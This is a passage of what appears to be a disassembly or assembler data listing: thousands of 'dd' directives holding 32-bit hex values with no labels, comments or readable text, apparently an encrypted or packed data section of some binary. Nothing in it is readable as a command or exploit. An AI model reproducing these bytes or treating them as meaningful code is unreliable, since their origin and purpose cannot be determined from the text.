1A3D6CEDh, 0F8C4010h, 908CAC4h, 16F20E9h dd 804FB753h, 0D60670CFh, 416AE141h, 38A22AD3h, 7DFD28ECh dd 4CF334Dh, 0F3A43E2h, 70BD194h, 6B6EC55Bh, 0FD90987Eh dd 20EB7770h, 0D12EEC94h, 0CF01B9EAh, 92578803h, 959EDBF8h dd 18D97CA1h, 0B4942A1Dh, 49ACA880h, 10D3B66h, 1F117948h dd 8DF50256h, 622CE210h, 0EDEC48EAh, 7BFC05E6h, 12EA291Fh dd 42798093h, 3AFB800Fh, 6FF24040h, 5490266h, 315AD689h dd 48EBCF3h, 4B6E4852h, 29300DFAh, 940B0757h, 3039FF55h dd 589D2A7Fh, 986220A7h, 0B354B71h, 0F495519h, 0BB4B2F8Ch dd 5AF5C0DBh, 5EF73929h, 5EF4F8BDh, 3EA9A3FCh, 6BE59605h dd 6F1120FFh, 42615406h, 9E680812h, 0E678C126h, 37562D19h dd 140B57D8h, 471751Ch, 0AEC23E87h, 327E005h, 21232D3Bh dd 0FAD1EB62h, 2CAA3444h, 0D27268D0h, 0E9010904h, 6EEC5106h dd 5320AE92h, 0B1398668h, 0E9548462h, 4835AC98h, 0AA2A7755h dd 6AFE87ACh, 569EF699h, 652BAE42h, 0EE0C4040h, 0DCB90161h dd 0E9F18907h, 0EB003FE1h, 571AE2BEh, 0B4681331h, 0CC2A8C4Dh dd 49467414h, 505F27A7h, 69AE2A68h, 8B4C2CBAh, 18FD9FEBh dd 17BE0FA6h, 6D76380Fh, 0FA7F6E4Eh, 6848B16h, 480EE7D2h dd 0CE142E43h, 880A0764h, 819D137Fh, 84D652F3h, 3EC96E9Ch dd 0CD5FDD5h, 0E6E18E38h, 0E07A0D03h, 5C708D2Dh, 9460F48h dd 543C648Bh, 0C4CC175Ah, 0EFB2FEC0h, 94000448h, 812E8075h dd 2F1220F1h, 0E50776ACh, 0F2FE09E7h, 29E105BEh, 5A8498DEh dd 0B7989697h, 0D488AF79h, 935E1DDEh, 28C0B17Ah, 4FBA577h dd 0AC7E536Dh, 43AEC033h, 0D2576679h, 0BFEBC548h, 265A58C1h dd 0F07EBC7Ch, 442D04BFh, 0AF31CDE9h, 5418A6CAh, 86E9AA24h dd 890C05Eh, 4FA67DC9h, 9432EA69h, 0C0EF00CFh, 414CC67Fh dd 12F73EA9h, 9EA1DA20h, 0BFA43D7Ch, 461E0C09h, 0FCC62240h dd 7471F307h, 12B5286Bh, 0D55C8049h, 51F48214h, 7F8B13BBh dd 0B7F6C4AFh, 5857D232h, 0AF2555DBh, 0D2405E21h, 2F4FE4E2h dd 1A7437F2h, 790577BBh, 0D729AC17h, 58F78309h, 2A32B0B2h dd 955C5B78h, 10690451h, 15DC1Eh, 0EA812585h, 715554CEh dd 4CD42D0Eh, 0F6E92239h, 0B9637489h, 88046220h, 0C5285AF0h dd 0C48BF1B8h, 0D2D204D5h, 0FE2D016h, 6E50765Dh, 4D40E4A6h dd 8B514B66h, 51232C73h, 0A3B14D04h, 0E26C382h, 91A191A9h dd 3F4BDBF7h, 1479D4E0h, 0C4212247h, 0C40E7D03h, 1ADAE9D5h dd 64F0AD4h, 0B73A25CBh, 20BBAB60h, 0A728A328h, 67141A0Bh dd 2F350070h, 9563846Ch, 0F56B46C4h, 0A0147746h, 0B97F0FCh dd 0D93CFF0Eh, 40B85002h, 0DD7D7853h, 8F5D150Ah, 2DC0F598h dd 1C0F4906h, 91FCE910h, 780CBF3Ch, 25921D68h, 32744702h dd 0DCBAB5E9h, 309B8273h, 73402DE2h, 2E04A419h, 0C509E979h dd 81DC0513h, 60A181EBh, 5E5CA57Ah, 0CBBD0181h, 42464D2Fh dd 0C46EA89h, 4DACBABBh, 9E02F64h, 0A1EB5C83h, 30AE33Dh dd 0CE50780h, 0C2350B9Ch, 2E47153Ch, 8F04AD74h, 68040133h dd 0D25009Fh, 90A6348h, 182D8B0Fh, 792EC56h, 0DD805913h dd 0B252C388h, 14112C64h, 0D98A06D2h, 6BE38F5Ah, 0CF7FFB44h dd 0EB015D00h, 60B0F02Ch, 6E73DC09h, 1CB17722h, 0FFD1A518h dd 7F68ED22h, 253E89D9h, 0FE95465Bh, 0BB474A5Eh, 0B37E0169h dd 0DB35C518h, 2A1272FDh, 1A0DCA6Bh, 7FB90C80h, 5B5FE352h dd 0CB135DA9h, 0E0602679h, 0C011FB2Ch, 772A9700h, 98FD0131h dd 0E90880F8h, 0DC844A23h, 0F90B01AAh, 305B4A68h, 30060976h dd 5F1E7FFBh, 6C502BE9h, 7040B456h, 0B3D33BB9h, 0F1F096B0h dd 6A09E479h, 945E952h, 0AFD9E5A1h, 4F2ED5F2h, 3410103Ah dd 0A8CA4E72h, 8631E4D0h, 5B03B962h, 11275B1h, 0BA71D1F7h dd 16460B30h, 80D92955h, 0D8A0436Fh, 4E8B14Ch, 5D742E6Fh dd 1290EBFh, 0B061073h, 8A654Ah, 9E201FC2h, 350F407Ah dd 0E09B51BEh, 8B2A120Dh, 7852C165h, 7E40C46Fh, 5D3020E0h dd 681CB709h, 2606914h, 0BD965AEh, 28E0257h, 0E2BA04B0h dd 1041483Ch, 800B7D92h, 257F40F6h, 30C2C7B7h, 59000B2Ch dd 7E6D1C11h, 9595D25h, 56D4DE70h, 0C160CCF0h, 1C6CF11Dh dd 0E0B6A392h, 5F7F2655h, 1B60D070h, 7AE91DE5h, 1A22DE04h dd 0DA814BBBh, 4C129057h, 6B3A953Ch, 14974EF5h, 0F8137EE9h dd 4C100B81h, 72C4F63Ah, 44EBD281h, 0B0A2EB0Ch, 8A72E9F0h dd 0DEE466A0h, 8945A20Ah, 0A43C89CEh, 7E42AE5Eh, 0F553073Dh dd 6684FEEBh, 5F215922h, 1C363E44h, 4FBA6718h, 97028662h dd 340D681Ch, 0B01C5727h, 0CDACE91Ch, 2FB84A38h, 0A1E921F1h dd 6804406Bh, 65BE0BF6h, 5D650199h, 6A30DC46h, 54405DF1h dd 5AD828B7h, 874EF062h, 6848B173h, 924B3808h, 69FC0619h dd 9A395017h, 56C5015Eh, 4DE9B598h, 0D8BB13DFh, 744D9DC2h dd 3A5D08C6h, 7BBF81BEh, 1420540Eh, 0F1841F45h, 0AECD92ABh dd 9C1AD2Ch, 50E676B9h, 83D28F5h, 0DDAB5D12h, 44E23FEBh dd 0A288FE93h, 5F34073h, 0A687109h, 0C28E5DB9h, 7A254668h dd 808A2AF6h, 18037909h, 0EB613D85h, 68358A7h, 64F080AFh dd 5063D5Ch, 5BF11713h, 0D915205Bh, 1C88BF00h, 0FA0928F0h dd 83A1B85Fh, 0F8AA98C9h, 0E918129Bh, 5A3EC25Bh, 0D0B3670h dd 7C722322h, 0F7CC2DD1h, 14B8829Dh, 3BDC0B19h, 0C568E184h dd 4AECF2BFh, 0FE43D2E0h, 0FDC05BF4h, 0E3EC0424h, 0CC85E188h dd 20CAD95h, 48D6E149h, 809E8B8Fh, 0F4B7F7Ch, 0D25BE780h dd 44F46043h, 0A0E9887Eh, 0D06EBF23h, 72AEDC9Dh, 19689921h dd 0F0DA2F62h, 0B9CEE916h, 0D9C7022Fh, 0DD0C1D3Bh, 5EF5705h dd 0D14FE908h, 60D8315Ch, 585BC3A3h, 0DA9615B9h, 8F5C1E0Eh dd 54E55464h, 0DEE28D82h, 0EA59134Eh, 1352C828h, 0B3627C68h dd 3440B9Dh, 0D32D501h, 0E9E132F6h, 412E37BFh, 2C02B6Eh dd 0F92435F1h, 1FB0687Ah dd 6DC92DADh, 4016400Ch, 688D2F13h, 85855989h, 1463EC4Ch dd 12E4EFC0h, 4E179AF7h, 0C7E4C1F5h, 4A3B90D6h, 2DEFFDF9h dd 54B29152h, 0B26A01E7h, 66D02833h, 0BAF93E5Ah, 0A5E7677Eh dd 0C634F1E2h, 0A2043A7Ah, 0BC2B502h, 0C0A04A5Eh, 4E6C8204h dd 44F984B9h, 0AF502C89h, 33511098h, 6078E6B1h, 6EF4A11Eh dd 278E7109h, 1B21AC3Bh, 3AEC5927h, 40BDAAA4h, 0F201D85Eh dd 48E9A012h, 13DA1324h, 0EE3B821h, 896B71E3h, 6C63837Eh dd 504FEA49h, 0E9510C14h, 0F2CB2726h, 0A419350Bh, 24605764h dd 0E97629DBh, 42F4F14Bh, 4E16F062h, 7DE8CB67h, 0FB0C8D25h dd 2088E8E3h, 68583C07h, 3051D1CEh, 0AC273E24h, 5702B5D0h dd 0B206FA71h, 4BB025D3h, 0D6AF8AD5h, 0EC0AD912h, 0A640C5E1h dd 984D2E72h, 93C42D4Bh, 62892F90h, 0B41080E9h, 685358B0h dd 116A12ECh, 0EB390864h, 6B88BE01h, 18E86F2Dh, 0AA6697A0h dd 7DD8ECC1h, 0C42A27D5h, 0AC071225h, 2EC35132h, 7724E11Dh dd 6FB11C93h, 2B99D92Ah, 96503BF4h, 0E4F38B7Bh, 0ABA8075Eh dd 9D7E4B22h, 0F392BA45h, 55035895h, 9711614Ah, 1C9205C4h dd 54205F21h, 1580420Ch, 25B8B9A3h, 28B743E3h, 782D084Ch dd 0B4E59F5Bh, 5CAF9626h, 0F8FCCBA9h, 0F3023CCAh, 89269942h dd 81B974D1h, 0AA7AF0CBh, 0F2E0203Fh, 9FB7F39h, 565974E9h dd 705571FFh, 46013EFEh, 0FEBD4E49h, 7DCA1351h, 0DDF7B4E0h dd 0AC8B0F3Dh, 0ED8033C6h, 0F5814D07h, 662700A9h, 46F9BD0Ah dd 0E92439CAh, 2FA7BC52h, 626E2B38h, 45005BDBh, 3A2DFA29h dd 163DDF30h, 0B41EF62h, 0C4DA21A7h, 27E17AEFh, 0BC641DECh dd 41EF6803h, 53549D68h, 57FEB872h, 53F80102h, 0A0E142E9h dd 1727EF99h, 272B7BA1h, 0D3FE3692h, 8DF899C4h, 36F5726h dd 5F2BBF1Ch, 0E96933E2h, 0CF08305Ah, 2970E441h, 0F5440FF1h dd 2AAD4AC4h, 43E33A29h, 6F43055Fh, 0DF954BECh, 8041107Dh dd 0F6771EC5h, 0F0F597D5h, 78392D62h, 0DE1A2739h, 0C4C9138Fh dd 2E82EEABh, 0E851575Eh, 0CAE18013h, 0ADBE646Bh, 76DF8608h dd 0EE88270Ah, 82594E85h, 5057CFCAh, 0A42BEBA4h, 4A4137AFh dd 0D6501C7Ch, 385C81E5h, 0D56685F3h, 81AF24EFh, 0F5236Bh dd 90C3835Dh, 0D7942203h, 0ED2E41F0h, 9A1CCA77h, 95EC9060h dd 7E6B6579h, 0DD3318B8h, 5281B24Ch, 0FBCA770h, 4F19DF30h dd 0FC763BA9h, 4FB42AC5h, 0AC9840EFh, 997A8ECh, 6880B0E8h dd 997AEDEDh, 86E96A9Fh, 0AAC852B5h, 15B0C845h, 4EB3D53h dd 0D8E28CDFh, 261FF3D1h, 0FE597319h, 0B9C7404Dh, 0A65588A6h dd 1DFD5480h, 224B7CF4h, 0C305A90Bh, 1FC09A3h, 3E5C9E81h dd 5F0D02Ah, 0A7490EE9h, 0B4BC4004h, 0F58BBE05h, 13BEDF89h dd 0F69EA4Ah, 0EE040FC1h, 0CA29E792h, 0B4C3DFC8h, 43E282h dd 4A7C2D0h, 7EB1C04Fh, 0EADD5AD1h, 863CE2D6h, 95C36245h dd 0D7B091F8h, 71C12145h, 812E8704h, 2E7C826Ah, 4DB52E80h dd 354F0E34h, 0BB70510h, 0EA5FC14Ah, 5EC987EAh, 9471BE72h dd 0F735675Eh, 4AEB6F50h, 0FE568E24h, 25689FB4h, 0E31854D2h dd 775B7D6Ah, 0D8960585h, 0B9009502h, 104662C9h, 0B7C6435Bh dd 9E730522h, 0BE01A29Ch, 0D38BA012h, 23A9E908h, 0A11CEB92h dd 0C32875C5h, 0F651AB0Bh, 45792FF7h, 5B5FC80h, 24E9DD30h dd 87C2DC13h, 3AF65AD4h, 0FCBB209Ch, 25015A32h, 0B3A4D53Bh dd 144A7638h, 2A4E79BEh, 0F697554Bh, 0B905123Dh, 5650DA02h dd 22E94105h, 557F3643h, 35C33A72h, 4747419Bh, 13A56BE5h dd 0F52DBF5Eh, 42E1DE03h, 0AECDF53Bh, 58932AEBh, 0B2398880h dd 0B56395E3h, 0BBD6CDE2h, 1A057B5Ah, 0A5419536h, 2A3335E0h dd 1AF1FD00h, 9F83D282h, 0CC166BDEh, 15B8A357h, 84393E06h dd 0E9186541h, 0C361B301h, 0AF4F1A3Ch, 86D8D84Ch, 0F432FF27h dd 7254075h, 3063F844h, 0BF3504DEh, 49020F32h, 173AD856h dd 9429AB5Bh, 105DB67Ah, 984016BDh, 15B9667h, 0D239AD0Dh dd 0E579E828h, 0FB2445E1h, 0A982CFD4h, 625B07FCh, 0A0751012h dd 5177BC5Fh, 12AB830h, 1B4B5C60h, 2F32870Fh, 0D7B7AAD1h dd 0F1400B89h, 563FBA75h, 0D28C4338h, 79C01E3Bh, 52055990h dd 0E2D0F0B2h, 0FB9DD8C1h, 8C2C003h, 216F0561h, 33D52656h dd 96B5AC30h, 0EB5E582Ah, 0BE510113h, 0C3E9B173h, 0BB24004Bh dd 4E585650h, 5B4FDF21h, 0C17CAD1Ch, 3EA15F60h, 3ADC9030h dd 0C548802Fh, 7D0CA5EBh, 38895F96h, 78F2FC51h, 0E02C24BDh dd 0C45895BAh, 2062F893h, 87A2BD80h, 0EFDD93A4h, 601C10C3h dd 1A5F4112h, 55A29F26h, 0ACA2078Eh, 7174B3E7h, 23664C3h dd 50ABF5A9h, 0CB404B5Ah, 0D3006D3h, 6A4F180Ch, 0A6148A1h dd 79BCAE20h, 1010BD4Ah, 46C70813h, 9671F7BDh, 6A5D027Fh dd 0A90525BEh, 0D38080B4h, 0B763471Ah, 0C73AB9F2h, 27D6125Dh dd 0EE26E8ACh, 762C8994h, 3F689D68h, 0C943549Fh, 2442014h dd 1668135Ch, 0B1A4310Fh, 3BBD7559h, 4E3740F4h, 7B2DB7D6h dd 0D482A127h, 1290CE6Dh, 66F89C90h, 0BAFD92C4h, 58685821h dd 0E90B5E76h, 0A648DD38h, 0A53D4667h, 85F7AD26h, 4CF959C3h dd 2A5F09E1h, 193CE8DDh, 19FFA610h, 0D85C5B54h, 0E92C83D7h dd 7FC2DF43h, 0CB4F25D9h, 64BF0941h, 0AD1E4EA7h, 0A7523F2Ah dd 5F64E0C2h, 0BF3FD355h, 0E90B7C8Fh, 5B68D6F0h, 0F255C8Eh dd 0C7BB491Ch, 13E5C021h, 6A2C9CF9h, 61F36809h, 9E609F7h dd 6978470h, 4E6C102h, 0EA66C5Dh, 42C05FC6h, 547A214Bh dd 0DBD5E916h, 0BB7A61AFh, 44982BE1h, 5D8B051h, 31352EBAh dd 629DBA05h, 0A9A04696h, 62AED34Eh, 5DB8DBh, 2E685794h dd 4FE9AC7Eh, 0C8FCC679h, 0B6596BBEh, 9BF18960h, 814D2433h dd 3B18E96Dh, 0ABD92F01h, 9B06824h, 881B3411h, 3C6C45DDh dd 490BFD3Dh, 5CA2862Ch, 0C123A4B1h, 76CAC244h, 0CCFE0050h dd 0E4118E0Fh, 69FAD5A8h, 8AF42BC4h, 0BD3A5B87h, 0C32DFBA0h dd 57293917h, 0FEDE8361h, 0E04BCF39h, 0E82970A3h, 3E5B8FB9h dd 553FD48Eh, 0F861DD92h, 4B4CC139h, 10203E76h, 642D02E1h dd 0C6E908BEh, 53524248h, 8860B307h, 0D5305BDAh, 568665Ah dd 92E90AC8h, 29473011h, 749F5FFAh, 0A8026B5Fh, 0C40FA8FCh dd 3EC1C383h, 667B52AAh, 0F7302845h, 1EC7F9F4h, 25DE3D7Ch dd 16FA709Ah, 0AD3B45DDh, 3D097397h, 0A19E5FA5h, 5764C496h dd 6361BFCCh, 2CC1352Eh, 0EC736AC9h, 95BEB93Ah, 994DC9A0h dd 4513E7Ch, 0D1162D5h, 9C108A0h, 3BF934D2h, 3CEA697Dh dd 0BF42A5C8h, 45F70D42h, 5D229261h, 0DFC14B46h, 5F0E3A77h dd 685C57FAh, 0C4D54F95h, 590EE0h, 0DF121F2Dh, 5D80177h dd 685B07A0h, 0E667E72Dh, 2F840C44h, 66BA787Fh, 0E30B2938h dd 0A36803AAh, 745D131Dh, 921CFC2Dh, 99BE1009h, 0BF795E65h dd 33154318h, 69B5287Fh, 882D4F2Bh, 0A85A5749h, 0E9DAF08Fh dd 0AC784C30h, 836BBC8Eh, 1DBD782Ah, 0E204EF60h, 199C0005h dd 13093972h, 0B198E9D9h, 0BEF73E23h, 8C8CF115h, 64BDE45Eh dd 0CF248F94h, 82A67325h, 0DED5C93h, 7370205Fh, 2075E55Eh dd 28D07401h, 13289A0Ch, 605BDA1Ch, 0E458773h, 4825144Dh dd 0E07B8147h, 55C061F5h, 0F22D4007h, 646BC165h, 580243D7h dd 0B9891D9h, 542F0AE9h, 25C283A6h, 69C769FCh, 16087308h dd 88E085Dh, 54F0E122h, 0D057B461h, 9EE41504h, 95D292DEh dd 21F23B78h, 9470C12h dd 55E83E81h, 77E29C52h, 0D0F2EFAh, 653DC45Bh, 0CEEB2334h dd 0DCF14F40h, 176B47Fh, 1524C0A4h, 5B651609h, 4231D8BFh dd 0EB3F6662h, 28D2E808h, 0F6A0778h, 8E53182h, 42CFF301h dd 146E4B33h, 850000FFh, 0F78E12Eh, 0CA6F6383h, 687E812Bh dd 8AF14E48h, 5378A2C5h, 91D02CC5h, 8C19E37Ah, 0BBDA0A3h dd 0F60E4E20h, 0B95A7FA7h, 0BF1B7A4h, 0F48B0711h, 0C45AEAF6h dd 2BACB8h, 0A872412Dh, 5391055Eh, 13E30ECh, 0F20751F0h dd 4CE91182h, 0BFB56DEBh, 680BB8CFh, 9F714EF1h, 109BD68Dh dd 0F2D23278h, 32F0028h, 0A8E92EEAh, 0A2014E32h, 5B68C2B4h dd 50A6C52h, 7C8818A3h, 0B0DFA821h, 54A86856h, 5AE59905h dd 0EA3407D9h, 0B45A2B81h, 86206DBAh, 0AF879591h, 0B267C20Fh dd 0E9841AFEh, 56AE1A06h, 8F0CA99Ah, 3802E845h, 68FBF45Fh dd 0E85C2829h, 3B90EBEh, 1ECF943Eh, 7E640E7Eh, 0B74312B7h dd 7C49F341h, 1AB3E0Eh, 0B65E855Ch, 264A168Dh, 0C9DE8FE9h dd 0DB0B0DBh, 0FC3414DFh, 0E6EFDA40h, 64B7441Ch, 11DE6217h dd 898BC110h, 891409CEh, 74E13246h, 7957524Ch, 145FA5FEh dd 0DEFCB730h, 18368152h, 0E9F43766h, 43415928h, 221C055Ah dd 2F87F3F2h, 755FC2ACh, 0D83976E0h, 0F75C929Fh, 1C711382h dd 0C8419877h, 0F112957Fh, 1E13E057h, 0BE14D3ADh, 4EC33C0Eh dd 0AB098F85h, 0F55EABE3h, 0DC1089h, 76F25906h, 2005090Ch dd 150B088Bh, 524D604h, 8AC1DEF7h, 0DC3ADB3Ch, 8326E91Bh dd 0FE9F576Fh, 1F841870h, 0EC895A60h, 49F126C5h, 5C974E26h dd 16754A05h, 712929B5h, 556CA810h, 53129A0Eh, 0AAF1DD34h dd 54817F62h, 729AA7A7h, 585418E8h, 16B4D397h, 2D99C0A1h dd 6525035Eh, 82D6506Eh, 0C4D9E607h, 0AA188C62h, 0E984DEB6h dd 1754FCF9h, 180C525Dh, 9ED254Eh, 1ED236EFh, 85BA8F5h dd 2B09E904h, 2D60A96h, 4A4F5EB0h, 654C583h, 7885D113h dd 0FC213E2Dh, 109E9C28h, 0AD553DA0h, 8075019Bh, 0E53B17EEh dd 7D58D53Ch, 0AA9D1870h, 0B5FCCCB5h, 11FC27C6h, 6805C196h dd 98E34A62h, 662D0705h, 4C7EE1Eh, 138648B3h, 0FDCBF347h dd 0E59B12CDh, 9D2514Bh, 6102D392h, 643BAAE9h, 6EF78BF4h dd 42B93DA8h, 0D5602CEh, 8195B844h, 0D858A6EAh, 9985E12Ah dd 7C2D806Dh, 18F1FFDh, 36EFC24Ah, 884ACAC6h, 9F4598E3h dd 0D2F3E23Ah, 6804DCAFh, 4C55B52Dh, 0FB094DCFh, 7545E569h dd 7AA8BA01h, 27E0B48h, 0AC3C52A5h, 95CB7EE0h, 5C00F69Bh dd 3156BA5Dh, 15B4CDAh, 5E4B1220h, 402546A4h, 6B48BE0Ch dd 50352D92h, 717B9776h, 202F72CBh, 99A11F6Bh, 79F8D844h dd 0F4BD2F6h, 0E34AFBA6h, 6E716C0h, 731EEC85h, 7DF88109h dd 995F7722h, 0AF381549h, 1879D06Dh, 0C32D12Ah, 0DF16078Ch dd 3CBB5970h, 9F30E982h, 3FF13D2Dh, 6CA92D21h, 0C687F474h dd 6F104F2Ah, 0BC11E168h, 3BE860B6h, 0BEB81CF2h, 9B087199h dd 0EF80002Bh, 0FD88513Ch, 1178E8B7h, 0BA1CC0ABh, 0C7A5320h dd 0F3D78925h, 3DBD007Ah, 0E97D4FD2h, 30C80532h, 0E847D55Bh dd 6894DFADh, 0A70BFC5Ah, 4909715Ah, 52C80600h, 0E9164ABBh dd 0C4A94EEEh, 8446CBDEh, 68058251h, 1BAD14A4h, 0F751558Bh dd 275F71A5h, 7D4267F6h, 5B2D00DCh, 8F4A87E6h, 0EC5F46FDh dd 0F8BC2946h, 0EA2725BCh, 4E81006Ch, 64413D07h, 0F1711F29h dd 0A5F36FE5h, 0AA5AE394h, 82873F3Ch, 0F0B1D082h, 0EA02800Ah dd 0E1213370h, 0FC69D940h, 78D0F203h, 8DE350F4h, 0E9E0A0F5h dd 9EDDF530h, 3A805256h, 834BDFF3h, 9032D36Eh, 7EF15E60h dd 0C8CD60DEh, 0F0989E50h, 89E99B82h, 0F9703105h, 0C78D9F34h dd 78A76C80h, 0B55F5D57h, 17292A89h, 0E3A1D184h, 8BBB3104h dd 0BC938934h, 0F88F56C2h, 0EE87B03Eh, 1E932DE9h, 0E8081168h dd 0F9D1295h, 0DCA46D5h, 0C7BA20E7h, 0D3D935A2h, 0FB4BED90h dd 0F8FAF009h, 0BFD695F2h, 0BDD3925Ch, 811CED82h, 5A027FFEh dd 80710E30h, 8C789D94h, 0A5E91068h, 85BD0253h, 57C69BE6h dd 85E1DC2h, 214DC2Fh, 63433E7Eh, 48F8E41h, 0F3790DFEh dd 3E9D08E7h, 0BB419641h, 0AE056209h, 7E25A5F7h, 0E27F7E92h dd 0F3DDA2ECh, 6E494119h, 1CB2192h, 7E6F902Dh, 5859F42Ah dd 5AD11BC1h, 0CC3ACB01h, 9E3DE945h, 0EDCCCA0Bh, 34AA4F7Ch dd 0A8C21230h, 0B82EADFDh, 2195B7E8h, 58C708D4h, 3DC0FC5Fh dd 9FC8553h, 8D37D0F3h, 0BF19B324h, 1B6E65Ah, 10EE1A8Eh dd 1E6502E9h, 509D9A3Fh, 0ED5EBE1Eh, 6526958Ah, 0CC63AEDCh dd 0A024E97Fh, 96F38F9h, 51672B73h, 91C28DAh, 5D683B67h dd 0ED515778h, 54BE9608h, 27BD2680h, 40A1301Dh, 444ECF32h dd 0E4D4A33h, 2998A1CEh, 1964EEF4h, 6C01A85Bh, 0F0C907ADh dd 3ED9048Eh, 0EA5D7A72h, 0ADA92D65h, 0BB332C5Ah, 0C62C3384h dd 9C859CAh, 0FA4FB753h, 0FE2DA7F9h, 68DE83F7h, 0E3AE85CCh dd 0C0EECB28h, 2EEAD1E6h, 8AFC23Bh, 68058E6Bh, 0A6371BF0h dd 0B67E4080h, 0F6E92774h, 0C3A88A51h, 0D913085Fh, 0C2B409BCh dd 92D50685h, 1D175FDh, 0B07A5CF1h, 0D8031740h, 0F7D78741h dd 470826D2h, 448C0058h, 0EF834A35h, 68F8017Eh, 87E6555Bh dd 2BE50B07h, 0E9CFB0C0h, 0BA9F4F65h, 96C855D8h, 3991647Eh dd 4A07C02Fh, 0BDF028A6h, 4B8002E8h, 0D601390Dh, 6CED2BC0h dd 44B58B1h, 0B8941503h, 0E6110CA9h, 0DCE52FAEh, 30B8029Dh dd 0C37F6EBDh, 53C80061h, 0E925CB61h, 1B1027Ah, 0F5185602h dd 6763F75Dh, 517B3FF1h, 786D8BD0h, 3225CE2Fh, 0C101C3F2h dd 0F4B82E1Bh, 0D5982151h, 80D0176Ah, 3C74A143h, 0A27EF929h dd 72314208h, 72F60753h, 0B67BA57Ch, 6897BF75h, 0A2CEE15Dh dd 304075F7h, 6AE14456h, 85973AE9h, 0C7DB00B8h, 12A3E91Bh dd 42E35BC1h, 9E20E452h, 1FE0BF3h, 0AF4022DBh, 2D807E8Ah dd 24B137Dh, 41D5013Ch, 2E77BA6Fh, 40C205B0h, 0CE482CF9h dd 5B103871h, 2C568BBh, 18C98D94h, 0B0B353BBh, 0D8C339A1h dd 0DCB0EB99h, 0B0BE5719h, 70FFFAEDh, 16C8894Dh, 0EB202779h dd 30AD59F1h, 0AE02D47h, 365DE955h, 24524B5h, 58E37F15h dd 78FD1030h, 5181A65Dh, 2B252668h, 550D798Ch, 0FE8268EEh dd 3A88432Eh, 0B5392057h, 0C044B011h, 3F8E860Ch, 3325E9F8h dd 841E5984h, 0D263F268h, 0C0E492CFh, 0E97011BCh, 8CB24BE2h dd 0EA31687Eh, 0DD4D1D0Fh, 70800005h, 31506E9Ch, 0CC5AF27Dh dd 64EB3D40h, 0F630101Ch, 0BD0D7B0Bh, 0DB2DAC10h, 88816F9Dh dd 8A505F37h, 1B2C2DFEh, 0E910C164h, 0C740CC63h, 35E06FFAh dd 0A45897A0h, 822C0F2Eh, 99A86DF6h, 8A170879h, 7F90439Ah dd 2D6F601Ah, 4F5C4106h, 0BA274E80h, 28CA31E8h, 0BCEF4A59h dd 0C2018BFDh, 0EF8CED04h, 8B3912CBh, 0A5CDE85Eh, 0B3E117FBh dd 60979F71h, 0F4B9AC0h, 0E72CEF81h, 0AFF77481h, 0B52F743Ch dd 7E565527h, 23E2E0E3h, 2D0479F8h, 96D02E4h, 1619C4BEh dd 127B8A07h, 1FA9ED68h, 0ADFC9C2Eh, 9708467Eh, 8C50147Bh dd 330A2600h, 5310B81Dh, 315CC30Bh, 0C22302C8h, 65BB0078h dd 204EBC05h, 9087B9A1h, 0C5855815h, 12D7804Ah, 274C9250h dd 0AE1063D0h, 0D8A292C5h, 9FE97F89h, 24E01CCBh, 0D8FBC40Bh dd 1F3C36F5h, 60C6093h, 5BB1CE7Dh, 7D0F989h, 2021FDEAh dd 32BAFA95h, 0C4DF5789h, 0EA684C45h, 77DE899Eh, 1518CB0h dd 0E3C377C0h, 0A44B0436h dd 0D4459724h, 0DA16FD2Ch, 1A6326D1h, 0F1C4696Ch, 348B04B4h dd 474B8AA3h, 0E797B06Dh, 1B9AD316h, 0F54B7A50h, 0F380EEBEh dd 187B5BD3h, 65DD4889h, 0C6EA2919h, 0EC0E2F7h, 0C62F3049h dd 1373582Eh, 11DEF3Bh, 34F1FC9h, 0A0A42F74h, 9C8B6B0h dd 20FFE7D1h, 78CB797Eh, 15A8201h, 0F7A06F20h, 360BF23Ah dd 5038E302h, 0C0D29351h, 0BB535784h, 8F253F39h, 0B938E052h dd 1D060BFCh, 0CD8310Eh, 2EE63B35h, 2C36483h, 135B90Ah dd 0EEF218BDh, 0D8779369h, 0A3435515h, 957419F0h, 0A0F6B32Eh dd 799FCA42h, 0D505C00Bh, 72500F01h, 8885BF1h, 45D0837Ah dd 7D7A1469h, 44856C4Ah, 8B0B8DAAh, 9147ABEBh, 4EE85933h dd 0B0AE9009h, 0DEF701E9h, 0E5C1F587h, 50F33F07h, 0BEEE40h dd 14EF62EEh, 116E7E9h, 7A728094h, 99492D4Dh, 578D41D1h dd 0E17B8B8Ch, 13D43A8Ah, 6EAEAA82h, 0EC544FD7h, 0CD09DE7Ch dd 5130FE62h, 3C5CF45Bh, 95FE6B7h, 307F2138h, 62B7EC96h dd 8029831Ah, 3102BFFCh, 0EBF761F0h, 9F85283Bh, 21747A04h dd 0B7FF28E9h, 0D72A7B59h, 13A03CFBh, 5DEA62CFh, 0BCBB831h dd 0EA2C0AE9h, 0AD58283Dh, 39A74125h, 0B801D8E6h, 619C0540h dd 0FA99C47Bh, 0A366FC12h, 38E30B5Ch, 2E00417Bh, 0D0B3F01Eh dd 5B5B58F8h, 189474ACh, 897DEF4Bh, 29C9A268h, 9778CEAh dd 5099DE31h, 7D5284E9h, 3507019Fh, 10CF4667h, 0E761DD4h dd 512506BEh, 40246B43h, 0BB3452D8h, 0F5BE490h, 0F8212806h dd 0CB60B59Dh, 0BF0B5753h, 0FDDF6B6Ch, 0C81C322h, 0BEE90E75h dd 7F00F353h, 59C0C645h, 6FB40557h, 0C81A35E9h, 3A1E9438h dd 3B826910h, 753CE473h, 2DBFE702h, 0DFADDDD1h, 7BF9CD93h dd 0D2752956h, 0D7C01C17h, 9D5A0203h, 569DAB5Eh, 0C53122F1h dd 0E3B6E1CAh, 594F0D2Ah, 0A8AF2C27h, 347A4A68h, 319DF34Ch dd 0CA8868B1h, 72E9D7C8h, 3FFE97DDh, 0CFB77E49h, 24CDF0C5h dd 93E1BE6Eh, 788F8DAh, 0CA685250h, 0FF611411h, 0BCF8872Dh dd 5CEC0B3Ch, 0FFC126E9h, 0D5C03E55h, 9A1E6372h, 1CD8B6C2h dd 0F19EEC1h, 1A9108Bh, 89C90B6Bh, 0CDE17BB4h, 104CCA6Eh dd 12DC0E1h, 5E2DD9FBh, 1C6E2C03h, 1E80BA89h, 682E9126h dd 0C5A9115Fh, 0B5002F7Eh, 0D839F2BAh, 981754Ch, 238827A5h dd 223620FDh, 0C170E00Fh, 0B7052F1Ch, 46F7063h, 1B7E12C0h dd 36E90F32h, 0C2A4F7FDh, 0C28564Dh, 125AF180h, 244E40DCh dd 2DE6158h, 46AA5C31h, 1AC87509h, 52F0191h, 3EE7C10h dd 905CE953h, 595D3416h, 7AF886E1h, 0BE016212h, 2D002CE5h dd 7A652598h, 35552623h, 0C1E82CEh, 